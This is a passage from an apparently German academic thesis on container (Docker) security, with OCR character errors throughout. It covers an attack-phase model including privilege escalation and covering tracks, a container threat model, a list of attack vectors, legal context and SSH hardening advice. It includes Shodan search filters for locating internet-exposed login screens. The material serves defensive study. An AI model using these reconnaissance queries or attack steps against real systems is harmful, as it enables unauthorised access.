Informationen iiber das Zielsystem und die Personen, die mit dem System arbeiten. Als

Methoden kénnen Open Source Intelligence (OSINT) oder Social Engineering zum Einsatz
kommen. Geeignete Quellen sind hierbei beispielsweise das Internet oder Telefonbiicher.

Tatigkeit 19.2 — Zugriff erzwingen: Sind keine Zugriffsrechte vorhanden, da diese
nicht aufgrund einer Fehlkonfiguration oder durch Erbeuten von Kennwortern bereits

vorliegen, miissen diese erzwungen werden. Dafiir gibt es verschiedene Methoden, wie das
Ausnutzen von Sicherheitsliicken. Genligen diese nicht, konnen weitere Angriffsvektoren
fur das Erzwingen des Zugriffs oder Gewinnen von Informationen einbezogen werden.

Tatigkeit 19.3 — Privilegien ausbauen: Nach dem Erlangen eins unprivilegierten

Zugriffs auf das System, werden die Privilegien weiter ausgebaut. In der Regel wird dabei
versucht, sogenannte Root-Rechte!® zu erlangen. Sollte das nicht ohne weiteres moglich
sein, miissen zusatzliche Informationen gewonnen werden. Um diese zu erhalten, konnen
weitere Angriffsvektoren zum Einsatz kommen. Moglicherweise lassen sich damit auf
anderen nicht gesicherten Systemen oder Portalen beispielsweise Kennworter erbeuten
oder Befehle ausfiihren.

Tatigkeit 19.4 — MaBnahmen durchfiihren: Liegen die notwendigen Privilegien vor,
konnen die angestrebten MaBnahmen auf dem Zielsystem durchgefiihrt werden. Hier
findet die eigentliche Wirkung des Angriffs im Ziel statt. Ein Schaden kann jedoch bereits

durch die vorherigen Tatigkeiten eintreten.

Tatigkeit 19.5 — Spuren verwischen: Um abschlieBend Spuren zu verwischen, konnen

unter Umstanden weitere Informationen oder Zugriffe notwendig sein, wenn beispielsweise
ein Logging auf externen Servern stattfindet. Beim Verwischen von Spuren selbst konnen
wiederum neue Hinweise auf Aktionen und Tatverdachtige hinterlassen werden.

Bemerkung 19.1 — Angriffserfolg: Ob ein Angriff erfolgreich ist, hangt von der
jeweiligen Zielstellung ab. Soll nur gewirkt oder auch Spuren verwischt werden? Fiir die
Fragestellungen dieser Arbeit ist relevant, moglichst zahlreiche potenzielle Angriffsvek-
toren zu eruieren, um mit SchutzmaBnahmen bereits vorbereitende Tatigkeiten eines
Angriffs erschweren oder vollstandig verhindern zu kénnen.

Bemerkung 19.2 — Komplexitat: Das Angriffsmodell (siehe Abb. 2.5, Seite 24) dient
als Einblick in eine denkbare Vorgehensweise komplexer Angriffe auf IT-Systeme, bei
denen die in dieser Arbeit beschriebenen Angriffsvektoren relevant sein konnen. In der
Praxis kommen haufig bereits im Rahmen des Zugriff erzwingen oder Privilegien ausbauen
mehrere komplexe Angriffsvektoren zum Einsatz. [9]

13 Administrative Zugriffsberechtigung auf dem System (vergleichbar mit Administrator unter Windows),
womit jedoch nicht zwingend auch beispielsweise die Entschliisselung von Dateien méglich ist.
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2.5.3 Bedrohungsmodell

Die Bedrohungsmodellierung ist ein Prozess zur ldentifizierung und Aufzdhlung der
potenziellen Bedrohungen (siehe Definition 8, Seite 11) fiir ein System. Durch die
systematische Betrachtung der Systemkomponenten und moglicher Angriffsvektoren
kann ein Bedrohungsmodell dabei behilflich sein herauszufinden, an welchen Komponenten
oder aufgrund welcher Konfigurationen ein System am anfalligsten fiir Angriffe ist.

Es gibt kein allgemeingiltiges Bedrohungsmodell, da es von den Risiken, der Umge-
bung und den ausgefiihrten Anwendungen abhangt. Es ist moglich, einige potenzielle
Bedrohungen aufzulisten, die fiir Containervirtualisierungsumgebungen typisch sind.

Definition 20 [/, %' /] — Bedrohungsmodell fiir Containerinfrastrukturen:
Die dargestellten Angriffsvektoren stellen eine Auswahl dar (siehe Abb. 2.6, Seite 26).
Es konnen jederzeit weitere Vektoren hinzukommen, die durch bislang unbekannte

Sicherheitsliicken auftreten oder durch Softwareaktualisierungen eingebracht werden.

Im Bedrohungsmodell (sieche Abb. 2.6, Seite 26) werden stellvertretend fiir potenzielle
Angriffsvektoren die beispielhaften Kategorien Cyberangriffe und Schadsoftware, Konfi-
guration und Management, Container und Isolation, Quellen- und Datenmanipulation
sowie Dienste und Backups eingefiihrt.
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Abb. 2.6 Bedrohungsmodell fiir Containerinfrastrukturen (Beispiel) [A”'l' 8] [\, ]

Die Abbildung stellt ausgewahlte Angriffsvektoren dar. Die angedeutete Virtuelle Maschine ist optional.
Die Containervirtualisierung kann auch ohne Virtuelle Maschine vorliegen. Die Container teilen sich mit
dem jeweiligen Betriebssystem (des Hosts oder der Virtuellen Maschine) einen gemeinsamen Kernel.

VergroBerung siehe Anhang B, Seite B-77.
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Kategorie 20.1 — Cyberangriffe und Schadsoftware: Die Netzwerke von Militars,
Regierungen oder Unternehmen sind taglich von tausenden gezielten oder zufalligen sowie
automatisierten oder manuellen Angriffen betroffen [9]. Eine Vielzahl dieser Angriffe aus

dem Cyberraum konnen durch herkdmmliche SchutzmaBnahmen erkannt und abgewehrt
werden. Gezielte Cyberangriffe hochspezialisierter Agierenden gehen meist (iber den
Einsatz eines einzelnen Vektors hinaus. Es ist meist erst die Kombination verschiedener
Vektoren (z. B. Social Engineering, Schadsoftware und Exploits), die gezielte Angriffe
nur mit erheblichen Aufwand erkennen und abwehren lassen. Die Bedrohungen kénnen
aus allen Richtungen auftreten und schlieBt somit Personen von innen und auBen ein.
Solche Bedrohungen, die nicht unmittelbar im eigenen Zustandigkeitsbereich liegen
(z. B. Infizierung von Softwarequellen (Repositories) oder Manipulation wahrend der
Dateniibertragung) lassen sich nur bedingt kontrollieren.

Kategorie 20.2 — Konfiguration und Management: Die Komponenten aus diesen
Kategorien beziiglich eines IT-Systems liegen im eigenen Zustandigkeitsbereich und
konnen gezielt durch Angriffsvektoren bedroht sein. Das umfasst zahlreiche Elemente

wie beispielsweise Planung, Umsetzung, Pflege, Dokumentation, Konfiguration, Manage-
ment, Zutritt, Zugriff, Sicherheitsaktualisierungen, Schnittstellen, Dienste, Anwendungen,
Netzwerkkomponenten oder Protokollauswertungen. Aber auch die Organisation von
Sicherheitsanlagen an Gebduden und Raumen oder der Sicherheitsiiberpriifung und Schu-
lung von Angestellten. Zudem kénnen Schwachstellenanalysen und Penetrationstests
notwendige Anderungen sichtbar machen.

Kategorie 20.3 — Container und Isolation: Die Angriffsvektoren dieser Kategorie
beziehen sich auf die Containervirtualisierung. Hierbei kann es Angreifenden gelingen,

aus den Container auszubrechen oder unberechtigt auf Daten zuzugreifen. Dazu wer-
den wesentliche Konfigurationen und Sicherheitsmechanismen des zugrundeliegenden
Betriebssystems sowie der Container umgangen.

Kategorie 20.4 — Quellen- und Datenmanipulation: Alleine den eigenen Zustan-
digkeitsbereich abzusichern beriicksichtigt noch nicht alle potentiellen Bedrohungen fiir
das zu schiitzende IT-System. Diese Kategorie bezeichnet Angriffsvektoren, die sich

auf Komponenten eines IT-Systems beziehen, die nicht oder nur mittelbar in dem ei-
genen Zustandigkeitsbereich liegen. Hierbei kann es sich um Repositories fiir Pakete
der Betriebssysteme oder Images handeln. Findet bei diesen Quellen eine Manipulation
statt, kann beispielsweise Schadsoftware liber gegebenenfalls vertrauenswiirdige oder
verschliisselte Verbindungen verbreitet werden.

Kategorie 20.5 — Dienste und Backups: Alle sonstigen Komponenten werden in
dieser Kategorie zusammengefasst. Diese Angriffsvektoren beziehen sich auf Dienste im

Netzwerk oder auf den Speicherbereich fiir Datensicherungen, die in den anderen Kate-
gorien nicht beriicksichtigt wurden. Aufgrund der hohen Anzahl moglicher Komponenten
konnen diese nicht im Rahmen dieser Forschungsarbeit betrachtet werden.
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2.6 Vorschriften und Gesetze

Das Gewinnen von Informationen in offenen Quellen kann in den meisten Fallen noch
legal sein, solange dies nicht der Vorbereitung einer Straftat nach § 202c StGB dient. Das
Erzwingen eines Zugriffs oder das Ausbauen von Privilegien ist jedoch in der Regel nach
§§202a und 202b StGB strafbar, da hierbei regelmaBig Zugangssicherungen umgangen
oder Daten abgefangen werden miissen.

Bereits die Vorbereitung einer Straftat nach den §§202a und 202b StGB sind gemaR
§202c StGB strafbar. Wurden keine Zugangssicherungen umgesetzt und werden durch
Angreifende keinerlei SicherheitsmaBnahmen umgangen, kann ein ungewollter, jedoch
legaler Zugriff auf sensible Daten stattfinden.

Es ist nicht nur aufgrund von Sicherheitsaspekten ratsam, notwendige MaBnahmen
umzusetzen, sondern auch aus rechtlicher Sicht, um im Zweifel etwaige Anspriiche
erheben zu konnen bzw. selbst keine BuBgelder nach Art. 83 Abs. 5 DSGVO verhangt
zu bekommen (siehe Abschnitt 2.2, Seite 11).
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3 Angriffsvektoren und SchutzmaBBnahmen

Dieses Kapitel beschreibt folgende Angriffsvektoren mit deren SchutzmaBnahmen:

» Vektor 1 Fernwartung tber unsichere Verbindungen (siehe Seite 33)

= Vektor 2 Nicht-quelloffene Software (siehe Seite 38)

= Vektor 3 Dokumentationsfehler (siehe Seite 39)

» Vektor 4 iptables und Zugriff auf Nicht-Dockerdienste (siehe Seite 43)

= Vektor 5 iptables und Zugriff auf Dockerdienste (siehe Seite 44)

» Vektor 6 Scanner und Porterkennung (siehe Seite 46)

= Vektor 7 Scanner und Versions-/OS-Erkennung (siehe Seite 47)

= Vektor 8 Syscalls und Containervirtualisierung (siehe Seite 49)

= Vektor 9 Forkbomben (Fork bombs) (siehe Seite 52)

» Vektor 10 Dateiberechtigungen tibernehmen (siehe Seite 55)

= Vektor 11 Dateisysteme iibernehmen (siehe Seite 58)

= Vektor 12 Daten im Container-Image speichern (siehe Seite 59)

» Vektor 13 Daten in Umgebungsvariablen integrieren (siehe Seite 60)

= Vektor 14 Daten iber Netzwerkschnittstelle iibertragen (siehe Seite 61)

= Vektor 15 Daten iber eingebundenes Laufwerk iibertragen (siehe Seite 61)
= Vektor 16 SUID-/SGID-Angriffe (siehe Seite 62)

= Vektor 17 Manipulation der Hosts (siehe Seite 64)

= Vektor 18 Manipulation der Netzwerke (siehe Seite 65)

= Vektor 19 Manipulation der Quellen (siehe Seite 66)

» Vektor 20 Gruppen und Berechtigungen (siehe Seite 67)

= Vektor 21 Docker und Privilege Escalation (siehe Seite 67)

= Vektor 22 Container und Prozesse (siehe Seite 67)

» Vektor 23 YAML-Konfigurationen aus unbekannten Quellen (siehe Seite 68)
» Vektor 25 Kompromittierung des Host durch Kernelangriffe (siehe Seite 70)
= Vektor 24 Containerausbruch mittels Capabilities und Syscalls (siehe Seite 68)
= Vektor 26 Analyseskripte und Privilegienangriffe (siehe Seite 71)

Bei den Untersuchungen wird von gangigen Linux-Distributionen wie Debian und Ubuntu
in Standardinstallation mit grafischer Benutzeroberflache (siehe Anhang C, Seite C-78)
ausgegangen. Bezlglich der dabei genutzten Docker-Engine ist hervorzuheben:

= Ein unprivilegiertes Konto wird der Gruppe docker hinzugefiigt. Diese Gruppe
gewahrt die gleichen Rechte wie das Konto root , jedoch kann hierbei ohne root
und sudo -Befehl gearbeitet werden. [41]

» Es werden keine speziellen Sicherheits- oder HartungsmaBnahmen zur Absicherung
des Docker-Daemon umgesetzt. [42]

» Es wird kein Rootless Mode genutzt. [43]
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3.1 Hostcomputer und Betriebssystem

Der Host und dessen Betriebssystem sind fiir eine Containervirtualisierung wesentliche
Komponenten und fiir die Sicherheit von entscheidender Bedeutung. Es ist zunachst
irrelevant, ob es sich dabei um einen physikalischen oder virtuellen Host handelt.

Es wird auf verschiedene Faktoren eingegangen, die auf den ersten Blick vielleicht nicht
unmittelbar mit der Sicherheit einer Containervirtualisierung in Verbindung gebracht
werden, aber schlieBlich grundlegende Bausteine darstellen.

3.1.1 Minimalsystem

In der Schriftenreihe zur Internet-Sicherheit zur Absicherung eines Servers (1Si-Server) [44]
des BSI lassen sich die folgenden Prinzipien (siehe Absatz 2.3, Seite 12) wiederfinden:

= Definition 11 Fehlervermeidung (siehe Seite 13)
= Definition 12 Fehlertoleranz (siehe Seite 13)

= Definition 13 Sparsamkeit (siehe Seite 13)

= Definition 14 Kapselung (siehe Seite 14)

= Definition 15 Bewusstheit (siehe Seite 14)

» Definition 16 Uberwachung (siehe Seite 14)

In dieser Schriftenreihe wird eine sichere Grundarchitektur fir Server empfohlen, die auf
ein Minimalprinzip zuriickgreift. Dabei sollte das Betriebssystem ,,als Minimalsystem
installiert und konfiguriert werden, um eine moglichst geringe Angriffsflache fiir potenzielle
Bedrohungen zur Verfiigung zu stellen” [44].

Definition 21 [, °* /'] — Minimalsystem und Eigenschaften:

Um eine Containervirtualisierung vor potenziellen Angriffsvektoren und Ausfallen zu schiit-
zen, sind MaBnahmen zur Absicherung von Host, Betriebssystem und allen Diensten von
entscheidender Bedeutung. Wird auf diese Komponenten das Prinzip der Minimalisierung

angewendet, entsteht als Resultat ein Minimalsystem.

Das minimalisierte Betriebssystem sollte (iber mindestens folgende Eigenschaften verfligen,
um die Anforderungen an ein sicheres und robustes Grundsystem zu erfiillen [44]:

= Das Betriebssystem liegt als Minimalinstallation vor.*

14 Nur fiir den Betrieb unbedingt benétigte Komponenten und Dienste (hier z. B. grundlegende Be-
triebssystempakete, Docker-Engine fiir Container und SSH fiir Fernzugriff). Auf Zusatzpakete (z. B.
Biiroanwendungen oder grafische Oberflachen) wird verzichtet.
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Nur berechtige Personen haben Zutritt zum und Zugriff auf den Server.?®
Deaktiviert oder deinstalliert sind nicht benétigte:

Schnittstellen (physisch oder shared libraries),

Softwarepakete,

— Komponenten und

— Dienste.

Grundkonfiguration des Betriebssystems ist auf Sicherheit ausgelegt und umfasst:

— Analyse der laufenden Prozesse,

— Analyse der im Netzwerk zur Verfiigung gestellten Programme und

— Analyse der auf dem Betriebssystem installierten Programme.
Grundarchitektur mit Sicherheitskomponenten ist installiert und konfigurier

— Administration, z. B.: lokale/entfernte Anmeldung;

— Monitoring, z. B.: Hardwarestatus, Speicherverbrauch, Dienststatus;
Protokollierung, z. B.: lokale Protokolle an Protokollserver tibertragen;
Speichernetz, z. B.: Verfligbarkeit des Speicher(-netzes) tiberwachen;
Zeitsynchronisation, z. B.: lokale Uhrzeit mit zentraler Zeitquelle abgleichen;
Patch- und Anderungsmanagement, z. B.: zentrale Softwareverteilung, Versi-
onsstande, Installationsauftrage, Aktualisierungen;

Datensicherung, z. B.: zentrale Datensicherung, Strategie fiir Backup und

Wiederherstellung;

— Kontenverwaltung, z. B.: lokale Authentisierungsanfragen zur Verifikation
weiterleiten, anfragende Dienste informieren;

— Virenschutz, z. B.: Kommunikation mit zentralem Management fiir Viren-

schutz, Austausch aktueller Virensignaturen oder Konfigurationseinstellungen;

— Integritatsprifung, z. B.: Systemintegritat ausgewahlter Objekte iiberwachen.

= ,Schwachstellen im Betriebssystem und in Diensten werden innerhalb des Patch-

und Anderungsmanagements durch die Installation von aktuellen Patches und

fehlerbereinigter Software auf ein Minimum reduziert" [45].

» Anwendende haben keine Konten auf dem Container-Hostsystem.

t:16

Bemerkung 21.1 — Minimalsystem und Virtualisierung: Fiir den sicheren Betrieb
von Virtualisierungsservern sind Sicherheitsaspekte zu beriicksichtigen, da Schnittstellen
zwischen Host- und Gastbetriebssystem oder zu den Netzwerksegmenten entstehen
konnen. Eine Containervirtualisierung stellt besondere Anforderungen an die Sicherheit
des Hostbetriebssystems, da sich Host und Container einen gemeinsamen Kernel teilen
(siehe Vektor 25, Seite 70). Die genannten Aspekte kdnnen ebenso auf eine Container-
virtualisierung bezogen werden, um die Gefahrdungen auf ein Minimum an akzeptablen
Restrisiken zu reduzieren. [45]

15 Beispielsweise Administration, Applikationsverantwortlichkeiten oder Datenbankadministration.
16 Siehe BSI-Standards zur Internet-Sicherheit (ISi-Reihe) — Absicherung eines Servers (ISi-Server) —
BSI-Studie zur Internet-Sicherheit (1Si-S) [44], Seite 39.
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3.1.2 Betriebssystem

Ein entscheidendes Kriterium bei der Auswahl eines geeigneten Betriebssystems (Opera-
ting system) ist die Fahigkeit zur Minimalisierung (siehe Unterabschnitt 3.1.1, Seite 30).
Somit kann eine wesentliche Grundlage geschaffen werden, welche von Beginn an auf
Sicherheit und Stabilitat orientiert ist.

Definition 22 [ % || ] — Betriebssysteme und Verbreitung:

Zu den verbreiteten Systemen im Desktop-Bereich zahlen Linux-Distributionen wie
Debian und Ubuntu, macOS von Apple als auch Windows von Microsoft [46, 47]. Bei
Netzwerkkomponenten oder Servern kommen meist Minimalsysteme zum Einsatz.

Bemerkung 22.1 — Linux-Distributionen: Es gibt in der Softwarebeschaffung zahl-
reiche Auswahlkriterien, um mit Hilfe des IT Asset Managements optimale strategische
Entscheidungen treffen zu kénnen. An dieser Stelle soll es geniigen hervorzuheben, dass
die Wahl eines Betriebssystems von entscheidender Bedeutung fiir Wartung, Pflege und
Sicherheit eines operationellen und strategisch ausgerichteten IT-Systems sein kann.

Zu den bekannten und verbreiteten Linux-Distributionen zahlen Debian und Ubun-
tu. Obwohl Ubuntu als ein Derivat auf Debian basiert, haben beide Distributionen
unterschiedliche Starken und Schwachen [48]. Die personlichen Praferenzen und Ent-
scheidungsmerkmale hangen nicht zuletzt vom vorgesehenen Verwendungszweck ab.

Debian wird als eines der stabilsten Distributionen beworben. Bevor neue Aktualisierungen
als stable-Version veroffentlicht werden, finden umfangreiche Beta-Tests statt. Dieser
Vorteil wird zum Nachteil, wenn Abhangigkeiten zu aktuellen Paketen bestehen. Es
kommt vor, dass aufgrund der langen und umfangreichen Testphasen einige Pakete
nur in alteren Versionen vorliegen, die dafiir wiederum Stabilitat gewahrleisten. Debian
unterstiitzt liber zehn Hardwarearchitekturen und bietet eine flexible Paketauswahl bereits
wahrend der Installation. Aus den genannten Griinden eignet sich Debian besonders fiir
den Einsatz als Serverbetriebssystem. Das Projekt Debian setzt ausschlieBlich auf Freie
Software und ist Open Source. Es wird demzufolge keine Proprietare Software verwendet.
Damit ist die Méglichkeit zur Uberpriifung der korrekten und vorgesehenen Funktionalitat
gegeben, was besonders fiir Unternehmen oder Anwendungen im behordlichen Umfeld
von Vorteil sein kann. Der Nachteil dieser Herangehensweise ist, dass manche Pakete
veraltet sind oder keine nicht-freien Treiber zur Verfigung stehen. [49, 48]

Ubuntu setzt auf ein schnell einsatzbereites Desktop- oder Serverbetriebssystem. Es
werden zwar kostenlose, jedoch keine freien Treiber zum Betrieb von Hardware zur
Verfiigung gestellt. Dieser Vorteil fiir Endnutzende wird zum Nachteil fiir Unternehmen,
da eine nachvollziehbare Funktionalitit von Software erheblich erschwert wird. [48]
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Bemerkung 22.2 — Netzwerkspeichergerate und Containerinfrastrukturen: Mit
einem Network Attached Storage (NAS) ist je nach Modell der Betrieb von Containerin-
frastrukturen moglich. Dazu besitzen diese ein Betriebssystem, das via Kommandozeile
oder lber eine grafische Web-Oberflache bedient werden kann. Diese Gerate unterstiitzen
zahlreiche Zusatzpakete der jeweiligen Herstellenden oder auch von Drittanbietenden.
Darunter befinden sich beispielsweise Schadsoftwareschutz und Virtualisierung.

Einige performante Geréte bieten eine Unterstiitzung fiir Docker an. Mit Konfigurations-
dateien im YAML Ain't Markup Language (YAML)-Format (siehe Vektor 23, Seite 68)
lassen sich aus Images verschiedene Container instanziieren. Die Nutzung verschliisselter
Kommunikationsprotokolle, besonders Netzwerkprotokolle, stellt geschiitzte Datentiiber-
tragungen zwischen mehreren Parteien sicher.

Vektor 1 [? ] — Fernwartung iiber unsichere Verbindungen:
Es gibt verschiedene Moglichkeiten mit entfernten Geraten zu kommunizieren. Neben

Tastatur, Maus und Monitor kommen haufig auch Softwarelosung zur Fernwartung zum
Einsatz. Dabei werden textbasierte Ein- und Ausgaben iiber das Netzwerk lbertragen.
Damit ist es moglich, verschiedene Gerat und Server von jedem beliebigen Ort aus zu
bedienen, an dem eine (Internet-/Intranet-)Netzwerkverbindung verfiigbar ist. Dabei
muss das Gerat oder der Server selbst mit dem jeweiligen Netzwerk (z. B. das Internet)
oder beispielsweise via VPN erreichbar sein.

Fir die Fernwartung kénnen in der Praxis noch immer veraltete Protokolle wie Tel-
net zum Einsatz kommen, womit die Daten unverschliisselt ibertragen werden. Wenn
in alteren Protokollen keine Verschliisselung implementiert ist, liefern moglicherwei-
se geschichtliche Hintergriinde (sieche Bemerkung 1.1, Seite 34) eine Antwort. Eine
unverschlisselte Verbindung kann abgehort und manipuliert werden. Hierbei konnen
Angreifende die Benutzernamen und Kennworter oder auch alle anderen (ibertragenen
Ein- und Ausgaben abfangen. Das bedeutet, dass auch die Konfigurationsparameter
zur Container-Instanziierung und somit moéglicherweise schiitzenswerte Informationen
iber unverschliisselte Verbindungen zur Fernwartung abflieBen konnten. Der Host samt
Containerinfrastruktur konnte somit leichter durch Angreifende iibernommen werden.

Eine weitere Moglichkeit auf entfernte Gerate zuzugreifen bieten verschiedene Produkte,
mit denen der gesamte Bildschirminhalt tibertragen wird. Die Suchmaschine von Shodan
kann Computer, Gerate und Dienste im Internet finden, von denen beispielsweise die
Bildschirminhalte oder Bilder von Uberwachungskameras frei in das Internet iibertragen
werden. Hierbei kann auch die Suchmaschine von Shodan Images zur Anwendung kom-
men. Dabei ist es moglich, nach bestimmten Labeln wie screenshot.label:login
oder screenshot.label:windows zu suchen [50]. Damit kénnen Windows-Systeme
gefunden werden, die frei aus dem Internet erreichbar sind.
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Mit Hilfe solcher Suchmaschine lassen sich samtliche Gerate des Internet of Things
(Internet der Dinge) (loT) oder auch Industriekontrollsysteme, Netzwerkinfrastrukturen,
Datenbanken, Videospiele und Honeypots finden, die liber das Internet erreichbar sind. Ist
eine Konfiguration von einem Dienst oder Protokoll des Computers oder NAS fehlerhaft,
konnten demnach — auch fiir Schadsoftware — die Bildschirminhalte oder Schnittstellen
zu Verzeichnisfreigaben frei (iber das Internet erreichbar sein.

Auf die webbasierten Bedienelemente von beispielsweise Netzwerkkomponenten, Servern
und Druckern, aber auch auf die fiir Containerinfrastrukturen in Frage kommenden
NAS-Geraten, kann je nach Konfiguration tber Hypertext Transfer Protocol (HTTP)
zugegriffen werden. Dabei handelt es sich um ein Protokoll, das Daten unverschlisselt auf
der Anwendungsschicht lbertragt. Wie bei Telnet ist es hierbei moglich, dass relevante
Informationen wie Kennworter und Konfigurationsparameter abflieBen konnen.

Bemerkung 1.1 — Geschichtliche Hintergriinde: Telnet als Netzwerkprotokoll wurde
mit RFC15 ab dem Jahr 1969 im Rahmen des Advanced Research Projects Agency
Network (ARPANET) entwickelt [51], dem Vorlaufer des heutigen Internet, und kam 1974
zum ersten Einsatz [52]. Mit Telnet sollte die Bereitstellung von knappen Ressourcen wie
Programme, Datenbanken und Rechenzeit zur entfernten Nutzung fiir Hochschulen und
Universitaten untereinander ermdglichen [52]. Das Internet existierte noch nicht und das
ARPANET bestand aus einer kleinen Anzahl an Komponenten. Die Datenverbindungen
innerhalb des ARPANET wurden (ber Telefonleitungen hergestellt, die Geschwindigkeit
von maximal 50 kbit/s erreichten. Da mit Telnet besonders auch Rechenzeit gespart
werden sollte, konnte Verschliisselung entweder bewusst oder unbewusst kein relevantes
Thema gewesen sein. Teilweise sind diese veralteten und unsicheren Technologien noch
heute im Einsatz.

HTTP wurde ab 1989 am Conseil européen pour la recherche nucléaire (Europaische
Organisation fiir Kernforschung) von Tim Berners-Lee entwickelt und kommt meist zur
Ubertragung von Webseiten zum Einsatz. Im Jahr 1991 gab es erste Ergebnisse mit der
Version HTTP 0.9 [53] und 1996 ist HTTP/1.0 mit RFC1945 erschienen.

Schutz 1.1 — Fernwartung iiber sichere Verbindungen: Eine Fernwartung sollte
aus Sicherheitsgriinden grundsatzlich tber verschliisselte Verbindungen stattfinden. Dabei
kommen beispielsweise VPN, Secure Shell (SSH) in Version 2 oder auch Hypertext
Transfer Protocol Secure (HTTPS) (nicht HTTP) in Frage. Bei der Planung von
Systemen sowie der Beschaffung von Hardware sollte die Unterstiitzung und konsequente
Nutzung sicherer und verschliisselter Protokolle berlicksichtigt, regelmaBig auf deren
Sicherheitsstatus geprift und dauerhaft durchgesetzt werden. Zudem sollten unsichere
und nicht benétigte Protokolle und Dienste nicht genutzt und generell deaktiviert werden
(siehe Unterabschnitt 3.1.1, Seite 30), damit Angreifende keine Angriffe iiber diese
Schnittstellen durchfithren kénnen (z. B. Anmeldeversuche).
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Schutz 1.2 — Fernwartung iiber Secure Shell 2 (SSH-2): Wird ein Fernzugriff
notwendig, empfiehlt das BSI das als sicher eingestufte SSH-2 zu nutzen. Das gilt
ausschlieBlich fiir die Version 2, da SSH-1 kryptografische Schwachen enthalt [54]. Durch
Schwachstellen in der Integritatsprifung lassen sich SSH-1-Sitzungen ausspahen. Nach

derzeitigem Stand wird ausschlieBlich die Protokollversion 2 gemeint und empfohlen,
wenn von SSH gesprochen wird.

Schutz 1.3 — Fernwartung ohne X11-Weiterleitung mit SSH: Mit dieser Schutz-
maBnahme werden X11 sowie Sicherheitsbedenken erlautert. Um die X11-Weiterleitung

generell zu verhindern, sollte diese in der Konfigurationsdatei des SSH-Daemon (siehe
Schutz 1.4, Seite 36) deaktiviert werden. Damit wird auch dem Prinzip der Minimalsys-
teme (siehe Unterabschnitt 3.1.1, Seite 30) gefolgt.

Das X Window System (X11) ist eine Software und ein Netzwerkprotokoll, das im Jahr
1984 entwickelt und 1986 veroffentlicht wurde [55]. X11 besteht aus einem Protokoll,
das Schnittstellen fiir die Erstellung grafischer Benutzeroberflachen zur Verfiigung stellt.

Mittels X11-Weiterleitung werden, anders als bei den heute gewdhnlichen Fernzugriffen,
keine Inhalte des Bildschirms (ibertragen, sondern lediglich die wesentlich geringeren
Datenmengen an Fensterinformationen und Tastatureingaben. Am entfernten System
(Server) wird ein Programm gestartet und die grafische Anzeige in Form von Fenstern
erst am lokalen System (Client) erzeugt.

Es ist moglich, mittels X11-Weiterleitung eine X11-Sitzung via SSH zu tunneln. Dabei
wird zunachst die SSH-Sitzung vom Client zum Server aufgebaut und dariiber dann ein
X11-Kanal vom Server zuriick zum Client geoffnet. In herkdmmlichen SSH-Sitzungen ist
der Client meist vertrauenswiirdiger als der Server. Die Befehle des Clients werden tber
eine Shell an den Server gesendet und dort ausgefiihrt. Der Server hat dabei (iber eine
gewohnliche SSH-Sitzung keinen Zugriff auf den Client. Bei der X11-Weiterleitung sei es
jedoch wahrscheinlich, dass der Server einen Shell-Zugriff auf den Client erhalt [56].

Zur Verwendung von X11 wiirde es Sicherbeitsbedenken geben. In einer Textsitzung
gibt es einen begrenzten Kanal vom Server zuriick zum Client: Der Server bestimmt die
Ausgabe, die auf dem Client angezeigt wird und kann versuchen, Escape-Sequenzen im
auf dem Client laufenden Terminal auszunutzen. [56]

In einer X11-Sitzung kann der Server X11-Befehle an den Client senden. X11 wurde nicht
mit Blick auf die Sicherheit entwickelt, sondern mit dem Gedanken, dass Programme, die
angezeigt werden sollen, selbst ausgefiihrt werden und daher ohnehin vertrauenswiirdig
sind. Durch die X11-Sicherheitserweiterung (X11 Security Extension) werden standard-
maBig durch SSH die Befehle des Servers eingeschrankt. Die Sicherheitserweiterung
verhindert einige offensichtliche Angriffe, wie z. B. das Abgreifen von Tastatureingaben
und das Einfiigen von Tasten, erlaubt aber andere, wie z. B. das Stehlen des Fokus. [56]
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Das Risiko besteht darin, dass ein mit Schadsoftware befallener Server die Fenster, die
am lokalen Rechner gedffnet sind, ausspahen und manipulieren kann. Die Schadsoftware
oder Angreifenden auf dem Server konnten neue Programme starten, geoffnete Fenster
schlieBen oder Inhalte auslesen, Tastatureingaben oder Mausereignisse anderer Fenster
mitlesen, verandern oder umleiten und selbst lokale Programme manipulieren. [56]

Auch wenn kein privilegierter Zugriff (ohne Root-Rechte) zum Server mittels der SSH-
Verbindung hergestellt wurde, konnten aufgrund der X11-Weiterleitung ggf. lokale
Sicherheitsliicken ausgenutzt werden. Hiermit ware es moglich, lokale gespeicherte
Kennworter auszuspahen oder auch Root-Rechte zu erlangen.

Schutz 1.4 — SSH-Konfigurationen: Die Konfigurationsparameter fiir SSH beziehen
sich auf Linux-Distributionen und stellen eine Auswahl dar (siehe Tab. 3.2, Seite 36).
Grundsatzlich sollten diese Parameter auch auf allen anderen Betriebssystemen betrachtet
werden. Es wird ausschlieBlich die Nutzung von SSH-2 oder hoher empfohlen.

Die Konfigurationen fiir SSH-Clients (ssh) und SSH-Daemons (sshd) werden in zwei
verschiedenen Dateien festgelegt (siehe Tab. 3.1, Seite 36).

Tab. 3.1 SSH-Konfigurationsdateien (Beispiele) [, ]

Pfad Beschreibung

/etc/ssh/ssh_config  Konfigurationsdatei fiir den SSH-Client
/etc/ssh/sshd_config Konfigurationsdatei fiir den SSH-Daemon

Neben den ausgewahlten SSH-Konfigurationsparametern'’ (siehe Tab. 3.2, Seite 36) fiir
den Daemon sollten bei der Konfiguration und Uberpriifung auch alle weiteren Parameter
beriicksichtigt werden.

Tab. 3.2 SSH-Konfigurationsparameter (Beispiele) [,/ ]

Konfigurationsparameter Beschreibung

Protocol 2 Version SSH-2 nutzen

Port 22 Port 22 nutzen

LogLevel VERBOSE Protokollierungsstufe ausfiihrlich
PermitRootLogin no Login mit Root verweigern
PermitEmptyPasswords no Login mit leeren Kennwortern verweigern
Banner none Banner nach Login nicht anzeigen
X11Forwarding no X11-Weiterleitung deaktivieren

Protocol 2: Mit dem angegebenen Wert wird die gewiinschte Version des Protokolls
(siehe Schutz 1.2, Seite 35) festgelegt und die Nutzung anderer Versionen unterbunden.

17 Die Auswahl wurde aufgrund der beschriebenen Sicherheitsvorteile getroffen.
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Port : Automatisierte Anmeldeversuche erfolgen liberwiegend (iber die Standardports
der Protokolle wie SSH. Um diese Angriffe zu erschweren, konnte der Dienst mit
einem unbenutzten registrieren Port (1024-49151) gestartet werden. Dadurch wird
jedoch nicht die Sicherheit erhoht. Fir die standardisierten Ports (0-1023) darf nur
das privilegierte root -Konto die Serverdienste bereitstellen. Alle registrieren Ports
diirfen auch unprivilegierte Konten nutzen. Ein veranderter Port muss iiber das Netzwerk
erreichbar sein. Die nicht-standardisierten Ports sind in den Netzwerkkonfigurationen oft
